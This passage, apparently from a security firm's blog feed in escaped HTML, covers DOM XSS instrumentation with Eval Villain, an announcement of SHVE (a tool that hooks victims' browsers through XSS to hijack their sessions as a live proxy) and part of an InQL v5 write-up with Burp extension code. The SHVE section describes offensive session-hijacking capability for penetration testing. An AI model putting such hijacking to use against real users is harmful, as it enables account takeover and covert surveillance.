class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you use this often, you can even put the code in a &lt;a href=&quot;https://en.wikipedia.org/wiki/Bookmarklet&quot;&gt;bookmarklet&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;combining-native-and-non-native-instrumentation&quot;&gt;Combining Native and Non-Native Instrumentation&lt;/h2&gt;

&lt;p&gt;Nothing says we can’t use native and non-native functions at the same time. You
can use a content script to implement big fancy codebases. Export that
functionality to the global scope and then use it in a conditional breakpoint.&lt;/p&gt;

&lt;p&gt;This brings us to the latest feature of &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/eval-villain/&quot;&gt;Eval Villain&lt;/a&gt;. Your conditional can make
use of Eval Villains recursive decoding feature. In the pop-up menu click
“configure” and go to the “globals” section. Ensure the “sourcer” line is
enabled and click save.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/enable_ev_sourcer.png&quot; alt=&quot;Show the new sourcer feature enabled in Eval Villain&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;I find myself enabling/disabling this feature often, so there is a second
“enable” flag in the popup menu itself. It’s in the “enable/disable” menu as
“User Sources”. This causes Eval Villain to export the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evSourcer&lt;/code&gt; function to
the global name scope. This will add any arbitrary object to the list of
recursively decoded sources.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/evsourcer_example.png&quot; alt=&quot;Console showing evSource's use&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;As can be seen, the first argument is what you name the source. The second is
the actual object you want to search sinks. Unless there is a custom encoding
that Eval Villain does not understand you can just put this in raw. There is an
optional third argument that will cause the sourcer to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console.debug&lt;/code&gt; every
time it’s invoked. This function returns &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;false&lt;/code&gt;, so you can use it as a
conditional breakpoint anywhere. For example, you can add this as a conditional
breakpoint that only runs in the post message handler of interest, when
receiving messages from a particular origin as a means of finding if any part
of a message will hit a DOM XSS sink. Using this in the right place can
alleviate SOP restrictions placed on your instrumentation code.&lt;/p&gt;

&lt;p&gt;Just like the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evSourcer&lt;/code&gt; there is an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evSinker&lt;/code&gt;. I rarely use this, so there
is no “enable/disable” entry for this in the popup menu. It accepts a sink name
and a list of arguments and just acts like your own sink. It also returns false
so it can easily be used in conditional breakpoints.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/evsinker.png&quot; alt=&quot;Console showing evSinker's use&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Writing your own instrumentation is a powerful skill for vulnerability research. Sometimes, it only
takes a couple of lines of JavaScript to tame a giant gully codebase. By
knowing how this works, you can have better insight into what tools like &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/eval-villain/&quot;&gt;Eval Villain&lt;/a&gt; and &lt;a href=&quot;https://portswigger.net/burp/documentation/desktop/tools/dom-invader&quot;&gt;DOM invader&lt;/a&gt; can and can’t do. Whenever necessary, you can also adapt your own code when a tool comes up short.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Introducing Session Hijacking Visual Exploitation (SHVE): An Innovative Open-Source Tool for XSS Exploitation</title>
   <link href="https://blog.doyensec.com/2023/08/31/introducing-session-hijacking-visual-exploitation.html"/>
   <updated>2023-08-31T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2023/08/31/introducing-session-hijacking-visual-exploitation</id>
   <content type="html">&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/shve_logo.png&quot; alt=&quot;SHVE-logo&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Greetings, folks! Today, we’re thrilled to introduce you to our latest tool: &lt;strong&gt;Session Hijacking Visual Exploitation&lt;/strong&gt;, or &lt;strong&gt;SHVE&lt;/strong&gt;. This open-source tool, now available on our &lt;a href=&quot;https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/&quot;&gt;GitHub&lt;/a&gt;, offers a novel way to hijack a victim’s browser sessions, utilizing them as a visual proxy after hooking via an XSS or a malicious webpage. While some exploitation frameworks, such as &lt;a href=&quot;https://beefproject.com/&quot;&gt;BeEF&lt;/a&gt;, do provide hooking features, they don’t allow remote visual interactions.&lt;/p&gt;

&lt;p&gt;SHVE’s interaction with a victim’s browser in the security context of the user relies on a comprehensive design incorporating multiple elements. These components, each fulfilling a specific function, form a complex, interconnected system that allows a precise and controlled session hijacking. Let’s take a closer look at each of them:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;VictimServer&lt;/strong&gt;: This component serves the malicious JavaScript. Furthermore, it establishes a WebSocket connection to the hooked browsers, facilitating the transmission of commands from the server to the victim’s browser.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;AttackerServer&lt;/strong&gt;: This is the connection point for the attacker client. It supplies all the necessary information to the attacker, such as the details of the different hooked sessions.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Proxy&lt;/strong&gt;: When the client enters &lt;em&gt;Visual&lt;/em&gt; or &lt;em&gt;Interactive&lt;/em&gt; mode, it connects to this proxy. The proxy, in turn, uses functionalities provided by the VictimServer to conduct all requests through the hooked browser.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/SHVE-architecture.png&quot; alt=&quot;SHVE-architecture&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The tool comes with two distinctive modes - &lt;em&gt;Visual&lt;/em&gt; and &lt;em&gt;Interactive&lt;/em&gt; - for versatile usage.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Visual Mode:&lt;/strong&gt; The tool provides a real-time view of the victim’s activities. This is particularly useful when exploiting an XSS, as it allows the attacker to witness the victim’s interactions that otherwise might be impossible to observe. For instance, if a victim accesses a real-time chat that isn’t stored for later review, the attacker could see this live interaction.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Interactive Mode:&lt;/strong&gt; This mode provides a visual gateway to any specified web application. Since the operations are carried out using the victim’s security context via the hooked browser, detection from the server-side becomes significantly more challenging. Unlike typical XSS or CORS misconfigurations exploitation, there’s no need to steal information like Cookies or Local Storage. Instead, the tool uses XHR requests, ensuring CSRF tokens are automatically sent, as both victim and attacker view the same HTML.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;getting-started&quot;&gt;Getting Started&lt;/h2&gt;

&lt;p&gt;We’ve tried to make the installation process as straightforward as possible. You’ll need to have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Node.js&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;npm&lt;/code&gt;     installed on your system. After cloning our repository, navigate to the server and client directories to install their respective dependencies. Start the server and client, follow the initial setup steps, and you’re ready to go! For the full installation guide, please refer to the &lt;a href=&quot;https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/blob/master/README.md&quot;&gt;README&lt;/a&gt; file.&lt;/p&gt;

&lt;p&gt;We’ve recorded a video showcasing these modes and demonstrating how to exploit XSS and CORS misconfigurations using one of the &lt;a href=&quot;https://portswigger.net/web-security/all-labs&quot;&gt;Portswigger’s Web Security Academy&lt;/a&gt; labs. Here is how SHVE works:&lt;/p&gt;

&lt;video controls=&quot;&quot; preload=&quot;auto&quot; width=&quot;100%&quot; height=&quot;100%&quot; poster=&quot;../../../public/images/SHVE-ui.png&quot;&gt;
    &lt;source src=&quot;../../../public/images/SHVE-demo.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Your browser does not support the video tag.
&lt;/video&gt;

&lt;p&gt;We look forward to your &lt;a href=&quot;https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/&quot;&gt;contributions&lt;/a&gt; and insights, and can’t wait to see how you’ll use SHVE in your red team engagements. &lt;strong&gt;Happy hacking!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Thanks to Michele Orru and Giuseppe Trotta for their early-stage feedback and ideas.&lt;/em&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>InQL v5: A Technical Deep Dive</title>
   <link href="https://blog.doyensec.com/2023/08/17/inql-v5.html"/>
   <updated>2023-08-17T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2023/08/17/inql-v5</id>
   <content type="html">&lt;p&gt;We’re thrilled to pull back the curtain on the latest iteration of our
widely-used Burp Suite extension - &lt;a href=&quot;https://github.com/doyensec/inql&quot;&gt;InQL&lt;/a&gt;.
Version 5 introduces significant enhancements and upgrades, solidifying its
place as an indispensable tool for penetration testers and bug bounty hunters.&lt;/p&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#introduction&quot; id=&quot;markdown-toc-introduction&quot;&gt;Introduction&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#the-journey-so-far-from-jython-to-kotlin&quot; id=&quot;markdown-toc-the-journey-so-far-from-jython-to-kotlin&quot;&gt;The Journey So Far: From Jython to Kotlin&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#the-challenges-of-converting-a-burp-extension-into-kotlin&quot; id=&quot;markdown-toc-the-challenges-of-converting-a-burp-extension-into-kotlin&quot;&gt;The Challenges of Converting a Burp Extension Into Kotlin&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sidestepping-the-need-for-stickytape&quot; id=&quot;markdown-toc-sidestepping-the-need-for-stickytape&quot;&gt;Sidestepping the need for stickytape&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#introducing-gqlspection-the-core-of-inql-v5x&quot; id=&quot;markdown-toc-introducing-gqlspection-the-core-of-inql-v5x&quot;&gt;Introducing GQLSpection: The Core of InQL v5.x&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#new-features&quot; id=&quot;markdown-toc-new-features&quot;&gt;New Features&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#points-of-interest&quot; id=&quot;markdown-toc-points-of-interest&quot;&gt;Points of Interest&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#improved-logging&quot; id=&quot;markdown-toc-improved-logging&quot;&gt;Improved Logging&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#in-line-annotations&quot; id=&quot;markdown-toc-in-line-annotations&quot;&gt;In-line Annotations&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#the-future-of-inql-and-graphql-security&quot; id=&quot;markdown-toc-the-future-of-inql-and-graphql-security&quot;&gt;The Future of InQL and GraphQL Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#inql-a-great-project-for-students-and-contributors&quot; id=&quot;markdown-toc-inql-a-great-project-for-students-and-contributors&quot;&gt;InQL: A Great Project for Students and Contributors&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusion&quot; id=&quot;markdown-toc-conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/inql.png&quot; alt=&quot;InQL v5.0&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 300px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;/h1&gt;

&lt;p&gt;The cybersecurity landscape is in a state of constant flux. As GraphQL adoption
surges, the demand for an adaptable, resilient testing tool has become
paramount. As leaders in GraphQL security, Doyensec is proud to reveal the most
recent iteration of our open-source testing tool - &lt;a href=&quot;https://github.com/doyensec/inql/releases&quot;&gt;InQL v5.x&lt;/a&gt;. This isn’t merely
an update; it’s a comprehensive revamp designed to augment your GraphQL testing
abilities.&lt;/p&gt;

&lt;h1 id=&quot;the-journey-so-far-from-jython-to-kotlin&quot;&gt;The Journey So Far: From Jython to Kotlin&lt;/h1&gt;

&lt;p&gt;Our journey with InQL started on the Jython platform. However, as time went by,
we began to experience the limitations of Jython - chiefly, its lack of support
for Python 3, which made it increasingly difficult to find compatible tooling
and libraries. It was clear a transition was needed. After careful
consideration, we chose Kotlin. Not only is it compatible with Java (which Burp
is written in), but it also offers robustness, flexibility, and a thriving
developer community.&lt;/p&gt;

&lt;h2 id=&quot;the-challenges-of-converting-a-burp-extension-into-kotlin&quot;&gt;The Challenges of Converting a Burp Extension Into Kotlin&lt;/h2&gt;

&lt;p&gt;We opted to include the entire Jython runtime (over 40 MB) within the Kotlin
extension to overcome the challenges of reusing the existing Jython code.
Although it wasn’t the ideal solution, this approach allowed us to launch the
extension as Kotlin, initiate the Jython interpreter, and delegate execution to
the older Jython code.&lt;/p&gt;

&lt;div class=&quot;language-kotlin highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;BurpExtender&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;IBurpExtender&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;IExtensionStateListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;BurpExtension&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;py&quot;&gt;legacyApi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;IBurpExtenderCallbacks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;py&quot;&gt;montoya&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MontoyaApi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;py&quot;&gt;jython&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;PythonInterpreter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;py&quot;&gt;pythonPlugin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;PyObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Legacy API gets instantiated first&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;override&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fun&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;registerExtenderCallbacks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;callbacks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;IBurpExtenderCallbacks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Save legacy API for the functionality that still relies on it&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;legacyApi&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;callbacks&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Start embedded Python interpreter session (Jython)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;jython&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;PythonInterpreter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Montoya API gets instantiated second&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;override&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fun&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;initialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;montoyaApi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MontoyaApi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// The new Montoya API should be used for all of the new functionality in InQL&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;montoya&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;montoyaApi&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Set the name of the extension&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;montoya&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;extension&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;setName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;InQL&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Instantiate the legacy Python plugin&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;pythonPlugin&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;legacyPythonPlugin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Pass execution to legacy Python code&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;pythonPlugin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;invoke&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;registerExtenderCallbacks&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fun&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;legacyPythonPlugin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;PyObject&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Make sure UTF-8 is used by default&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;jython&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;import sys; reload(sys); sys.setdefaultencoding('UTF8')&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Pass callbacks received from Burp to Python plugin as a global variable&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;jython&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;callbacks&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;legacyApi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;jython&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;montoya&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;montoya&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Instantiate legacy Python plugin&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;jython&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;from inql.extender import BurpExtenderPython&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;py&quot;&gt;legacyPlugin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;PyObject&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;jython&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;eval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;BurpExtenderPython(callbacks, montoya)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Delete global after it has been consumed&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;jython&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;del callbacks, montoya&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;legacyPlugin&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;sidestepping-the-need-for-stickytape&quot;&gt;Sidestepping the need for stickytape&lt;/h2&gt;

&lt;p&gt;Our switch to Kotlin also solved another problem. Jython extensions in Burp
Suite are typically a single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.py&lt;/code&gt; file, but the complexity of InQL necessitates a
multi-file layout. Previously, we used the
&lt;a href=&quot;https://github.com/mwilliamson/stickytape&quot;&gt;stickytape&lt;/a&gt; library to compress the
Python code into a single file. However, stickytape introduced subtle bugs and
inhibited access to static files. By making InQL a Kotlin extension, we can now
bundle all files into a JAR and access them correctly.&lt;/p&gt;

&lt;h1 id=&quot;introducing-gqlspection-the-core-of-inql-v5x&quot;&gt;Introducing GQLSpection: The Core of InQL v5.x&lt;/h1&gt;

&lt;p&gt;A significant milestone in our transition journey involved refactoring the core
portion of InQL that handles GraphQL schema parsing. The result is
&lt;a href=&quot;https://github.com/doyensec/gqlspection&quot;&gt;GQLSpection&lt;/a&gt; - a standalone library
compatible with Python 2/3 and Jython, featuring a convenient CLI interface.
We’ve included all GraphQL code examples from the GraphQL specification in our
test cases, ensuring comprehensive coverage.&lt;/p&gt;

&lt;p&gt;As an added advantage, it also replaces the standalone and CLI modes of the
previous InQL version, which were removed to streamline our code base.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/inql_v5_gqlspection.png&quot; alt=&quot;GQLSpection&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h1 id=&quot;new-features&quot;&gt;New Features&lt;/h1&gt;

&lt;p&gt;Our clients rely heavily on cutting-edge technologies. As such, we frequently 
have the opportunity to engage with real-world GraphQL deployments in many of our
projects. This rich exposure has allowed us to understand the challenges
InQL users face and the requirements they have, enabling us to decide which
features to implement. In response to these insights, we’ve introduced several
significant features in InQL v5.0 to support more effective and efficient audits
and investigations.&lt;/p&gt;

&lt;h2 id=&quot;points-of-interest&quot;&gt;Points of Interest&lt;/h2&gt;

&lt;p&gt;One standout feature in this version is ‘Points of Interest’. Powered by
GQLSpection and with the initial implementation contributed by
&lt;a href=&quot;https://github.com/doyensec/inql/pull/82&quot;&gt;@schoobydrew&lt;/a&gt;, this is essentially a
keyword scan equipped with several customizable presets.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/inql_v5_poi_settings.png&quot; alt=&quot;Points of Interest settings&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The Points of Interest scan proves exceptionally useful when analyzing extensive
schemas with over 50 queries/mutations and thousands of fields. It produces
reports in both human-readable text and JSON format, providing a high-level
overview of the vast schemas often found in modern apps, and aiding pentesters
in swiftly identifying sensitive data or dangerous functionality within the
schema.&lt;/p&gt;

